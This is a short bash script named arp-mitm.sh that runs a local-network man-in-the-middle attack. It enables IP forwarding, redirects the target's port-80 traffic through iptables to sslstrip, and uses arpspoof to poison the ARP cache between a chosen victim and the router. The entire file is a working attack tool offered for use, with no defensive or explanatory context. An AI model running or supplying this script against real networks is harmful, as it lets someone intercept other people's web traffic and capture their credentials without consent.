#!/bin/bash
if [ $# != 3 ]; then
    echo "usage: arp-mitm.sh <IFACE> <TARGET> <ROUTER>"
else
    echo "1" > /proc/sys/net/ipv4/ip_forward
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 31337
    sslstrip -a -l 31337
    arpspoof -i $1 -t $2 $3
fi